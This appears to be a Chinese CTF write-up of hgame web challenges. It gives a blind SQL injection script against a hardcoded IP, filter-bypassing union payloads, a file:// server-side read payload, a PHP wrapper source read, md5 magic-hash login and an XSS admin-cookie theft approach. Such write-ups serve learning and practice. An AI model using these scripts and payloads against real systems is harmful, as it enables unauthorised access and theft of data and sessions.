武汉加油 祖国加油
在家这段时间本来是要做ELK的,队里说hgame开始了,就做了几道hgame的web,题目很有意思,在此记录一下
访问站点,告诉我们站点使用了GitHub,猜测存在git泄露,查看config页面
访问该github地址,查看历史的commits
发现加密的字符串,使用base64解密,即可获得flag
访问页面
看题目应该是修改请求头的问题,首先修改一下Referer头
再次提示我们需要来自本地,这里可以使用XFF头进行伪造
再次提示我们需要使用指定的浏览器…修改一下UA头
提示需要使用POST传参,使用hackbar修改一下传参方式
提示我们需要到2077年才能显示flag,伪造一下时间使用If-Unmodified-Since伪造
访问页面
发现直接跳转页面,查看源码提示我们是302跳转,尝试修改一下传参方式再次访问
提示我们需要通过url传参,就是让我们get传参了,而且需要两个数相加和为十
直接传输提示再想想,猜测应该是url编码的问题,我们使用url编码一下再次传输
成功获取flag
访问页面,是一个很有意思的小游戏
看下面的提示告诉我们,只要分数够高,flag随便拿,尝试玩一下,瞬间GG,同时给我们提示30000分以上可以获得flag
抓个包看看判断规则
看到score参数,修改一下值
成功获取到flag
题目提示我们博客没有用到数据库,应该是把密码和账号写在代码中了,访问页面,探测漏洞点
测试一下是否存在php伪协议漏洞
成功读取出login.php的代码
Cosmos的博客后台
根据读出的login源码,我们发现还有config.php和admin.php,再次读取一下config.php的源码,提示我们无法读取,读取一下admin.php源码
Cosmos'Blog - 后台管理
退出登陆
Welcome
经过尝试,config etc flag这些都被过滤,无法读取,先对获取到的源码进行分析;
首先分析一下login.php,我们可以看到用户名和密码都是固定的,我们可以使用debug参数来获取我们需要的值,获取用户名和密码:
username=Cosmos!
md5(password)=0e114902927253523756713132279690
可以看到密码是0e开头的,我们可以使用md5碰撞的方式获取密码,登陆的用户名和密码为:
username=Cosmos!
password=s878926199a
进入后台,我们可以上传图片的url
跟一下代码,对我们上传的url进行了匹配,只允许上传指定域名的url,使用的函数为curl_exec(),我们可以使用file://协议去构造CSRF漏洞,直接读取flag
payload:file://localhost/flag
解密base64即可获取到flag
进入页面,很明显的sql注入,fuzz一下注入点
发现select和空格被过滤了,两种方法解决,可以使用盲注的方式进行,脚本:
mport requests
#url="http://139.199.182.61/index.php?id=0' or (ascii(mid((database()),{},1)) = {}) and '1'='1"
#url="http://139.199.182.61/index.php?id=0' or (ascii(mid((seselectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)) = {}) and '1'='1"
#url="http://139.199.182.61/index.php?id=0' or (ascii(mid((seselectlect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name=0x66316167676767676767676767676767)),{},1)) = {}) and '1'='1"
url="http://139.199.182.61/index.php?id=0' or (ascii(mid((seselectlect(fl4444444g)from(f1aggggggggggggg)),{},1)) = {}) and '1'='1"
for i in range(1,40):
for j in range(28,128):
re=requests.get(url.format(i,j))
if 'cosmos' in re.text:
print(chr(j))
#hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}
也可以使用/**/代替空格,select我们可以直接双写进行绕过,查询数据库
'%2F**%2Funion%2F**%2Fselselectect%2F**%2Fdatabase()%3B%23
查询数据库中表名
'%2F**%2Funion%2F**%2Fselselectect%2F**%2Fgroup_concat(table_name)%2F**%2Ffrom%2F**%2Finformation_schema.tables%2F**%2Fwhere%2F**%2Ftable_schema%3D'easysql'%23
查询数据表中字段名
'%2F**%2Funion%2F**%2Fselselectect%2F**%2Fgroup_concat(column_name)%2F**%2Ffrom%2F**%2Finformation_schema.columns%2F**%2Fwhere%2F**%2Ftable_schema%3D'easysql'%23
查询表中数据
'%2F**%2Funion%2F**%2Fselselectect%2F**%2Ffl4444444g%2F**%2Ffrom%2F**%2Ff1aggggggggggggg%23
成功获取到题目flag
本题是复现,当初做的时候没有明白考点,后来是看的官方wp做的
题目直接给了源码:
访问一下mycode
function encrypt($str){
$result = '';
for($i = 0; $i < strlen($str); $i++){
$result .= chr(ord($str[$i]) + 1);
}
return $result;
}
echo(strrev(strrev(base64_encode(encrypt(base64_encode(str_rot13(base64_encode(base64_encode(base64_encode(base64_encode($_SERVER['token'])))))))))));
if(@$_POST['token'] === $_SERVER['token']){
echo($_SERVER['flag']);
}
主要看判断条件,当我们的token与server端的token相同时,我们就会得到flag
而且题目会把服务端的token进行一段加密后输出出来,而且服务端的token在几秒中便会刷新一次(官方说是5秒),分析完毕,开始解题,大致思路就是,首先我们需要获取到加密的token,解密后直接发送到服务端,这里贴上官方脚本
'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => http_build_query(array('token' => $token))
);
$result = file_get_contents($url, false, stream_context_create($options));
echo($result);
在本地php环境运行即可获取到flag
这里也可以使用python脚本
import requests
import base64,re
url = 'http://80067ab0bd.php.hgame.n3ko.co'
token = 'oHCahuL0LUeXH7pR0PdaBb6POrNk0wVv'
#rot 13的解密
def rot13(message):
res = ''
for item in message:
if (item >= 'A' and item <= 'M') or (item >= 'a' and item <= 'm'):
res += chr(ord(item) + 13)
elif (item >= 'N' and item <= 'Z') or (item >= 'n' and item <= 'z'):
res += chr(ord(item) - 13)
else:
res += item
return res
#解密encrypt
def encrypt(token):
str = ''
for t in token:
t = chr(ord(t) - 1)
str +=t
return str
#base64的组块base.decode
#截取获取出来的密码
response=requests.get(url)
code= re.findall(r"(.+?)
", response.text[625:])[0]
print(code)
response_mycode =requests.get(url+'/mycode')
method = re.findall(r"(.*?);",response_mycode.text[164:])[0] #这里可以得到截取的字符串
print(method)
method2 = method.split('(')[:-1]
print(method2)
for i in method2:
if i == 'str_rot13':
print('rot13:')
code=rot13(code)
print(code)
elif i == 'base64_encode':
print('b64:')
code=base64.b64decode(code)
code=bytes.decode(code)
print(code)
elif i == 'encrypt':
print('encrypt:')
code=encrypt(code)
print(code)
elif i == 'strrev':
print('strrev:')
code=code[::-1]
print(code)
token={'token':code}
r=requests.post(url,data=token)
print(r.text)
访问页面,访问一下flag的页面,提示我们只有admin用户才能获得flag,我们能利用的地方就是输入对话了,梳理一下流程,尝试xss,获取admin用户的cookie,从而达到伪造管理员用户的目的
因为后端过滤了所有的标签,这点可以利用浏览器兼容性进行绕过,不闭合最后的标签,加注释即可,由于后端对我们输入的所有语言都转大写,我们可以使用HTML实体化编码绕过最后的payload:
编码中包含自己的xss平台地址即可
最后提交的code,万年老脚本:
import hashlib
for i in range(1, 100000001):
#s = hashlib.md5(str(i)).hexdigest()[0:8]
#s = hashlib.md5(str(i)).hexdigest()[:6]
s = hashlib.md5(str(i)).hexdigest()[0:6]
if s == "af6b97":
print(i)
break
然后在平台等待获取cookie即可